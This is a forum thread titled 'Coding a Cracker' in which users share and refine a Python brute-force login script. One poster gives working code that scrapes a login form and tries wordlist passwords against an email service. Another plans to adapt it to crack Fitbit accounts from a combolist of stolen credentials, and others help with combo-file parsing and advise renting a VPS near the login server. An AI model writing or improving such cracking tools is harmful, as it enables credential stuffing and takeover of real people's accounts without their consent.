Coding a Cracker

Originally Posted by Nimboso

I'd go python. Its a super easy language to write a brute forcer in. Here's an example of one I wrote for an email service. No proxy support or captcha bypass though. Just a basic example.

Code:

    import requests, sys
    from bs4 import BeautifulSoup

    ses = requests.Session()
    login = ses.get('https://www.gm*****.uk/#.1730818-header-navlogin2-1')

    soup_login = BeautifulSoup(login.content, 'html5lib').find('form').find_all('input')
    loginDict = {}
    for u in soup_login:
        if u.has_attr('value'):
            loginDict[u['name']] = u['value']
    loginDict['username'] = 'hackmereddit@gm*****.uk'

    with open('dict.txt', 'r') as dict:
        for word in dict:
            word = word.strip()
            loginDict['password'] = word
            resp = ses.post('https://login.gm*****.uk/login', data=loginDict)
            print(word)
            if '.navigator-bs.gm*****.uk' in resp.cookies.list_domains():
                print(word)
                print(resp.cookies)
                sys.exit()

But you know, no one really likes python, and coding with some C language or .NET makes you look cooler

I just installed requests (it looks easier to use) so, i'm gonna try and reproduce what you've done with requests to crack fitbit accounts, might need help with opening the file and splitting the combos. I'll keep you posted.

Originally Posted by BlueCow

Should be pretty easy, it doesn't look like the fitbit dashboard has any captcha. If you get it working, I'd recommend renting a $5 VPS somewhere as close as you can get to the fitbit login server. A large time waste in brute forcing is network delay.

Well thanks for the information. I'll have to check this out later cuz for some reason I get errors importing requests into the python default IDLE but not when I use my terminal.

Originally Posted by BlueCow

Well thanks for the information. I'll have to check this out later cuz for some reason I get errors importing requests into the python default IDLE but not when I use my terminal.

You should use pycharm and python 3.x, whatever the newest one is

Originally Posted by BlueCow

Well thanks for the information. I'll have to check this out later cuz for some reason I get errors importing requests into the python default IDLE but not when I use my terminal.

Let us know how it goes man.

This isn't my area of expertise but I'd say try to borrow (not steal) some code from other crackers.

Originally Posted by Dead Meme

This isn't my area of expertise but I'd say try to borrow (not steal) some code from other crackers.

Yup, I tried that.

Okay guys, so, I haven't worked on it for a long time but I thought about it today I did a bit more research and I encountered a problem. For now, the username and password to test on fitbi*****m are stored in 2 variables and so that means that I have to stop the program everytime they have been checked and change the combo to test another one. So, what I want to do is open a file called "combolist.txt" and for each line (one combo per line in email

ass format), split the email and temporarily store it in the username variable and split the password and store it in the password variable. Once that's done the program will test this combo for fitbi*****m and return the result. Once it has tested it, it will go to the next line of the combolist.txt file and repeat the process. How can I open the file and split the combo accordingly and store the string in the 2 variables in python? Any help would be very appreaciated!!

Btw here's what I have so far:
Code:
f = open("combolist.txt", "r")
for combo in f:
f.split(":")

I know it's probably wrong but that's why I'm asking for help. Thank you !

Originally Posted by BlueCow

Code:

with open('file.txt', 'r') as combolist:
    for combo in combolist:
        split = combo.split()
        if len(split) < 2:
            continue
        username = split[0]
        password = split[1]

        # Attempt login here

using the "with open as file" closes the file on it's own when your script is done running.

Originally Posted by Nimboso

Code:

with open('file.txt', 'r') as combolist:
    for combo in combolist:
        split = combo.split()
        if len(split) < 2:
            continue
        username = split[0]
        password = split[1]

        # Attempt login here

using the "with open as file" closes the file on it's own when your script is done running.

You missed to split the ':' here:

Code:

split = combo.split()

instead of splitting a space (by default that method's parameter gets a space).

Originally Posted by Nimboso

Code:

with open('file.txt', 'r') as combolist:
    for combo in combolist:
        split = combo.split()
        if len(split) < 2:
            continue
        username = split[0]
        password = split[1]

        # Attempt login here

using the "with open as file" closes the file on it's own when your script is done running.

So that's the code:

Code:

with open('file.txt', 'r') as combolist:
    for combo in combolist:
        split = combo.split(:)
        if len(split) < 2:
            continue
        username = split[0]
        password = split[1]

        # Attempt login here

Sorry, for answering so late, I was off mpgh for a while, thanks for the info.

I have sad news for you... fitbit website is loaded dynamicaly with js, so requests wont work well (at least ony experience. I might be wrong ofc)

Originally Posted by Smirnoffq

I have sad news for you... fitbit website is loaded dynamicaly with js, so requests wont work well (at least ony experience. I might be wrong ofc)

With making the direct requests it doesn't matter if the page is loaded using js since you never actually load the page.

Originally Posted by Nimboso

Pycharm is a good one, it's what I use.

InteliJ IDEA (With python addon) for the win...

Coding a Cracker

Post a Reply

Similar Threads

Tags for this Thread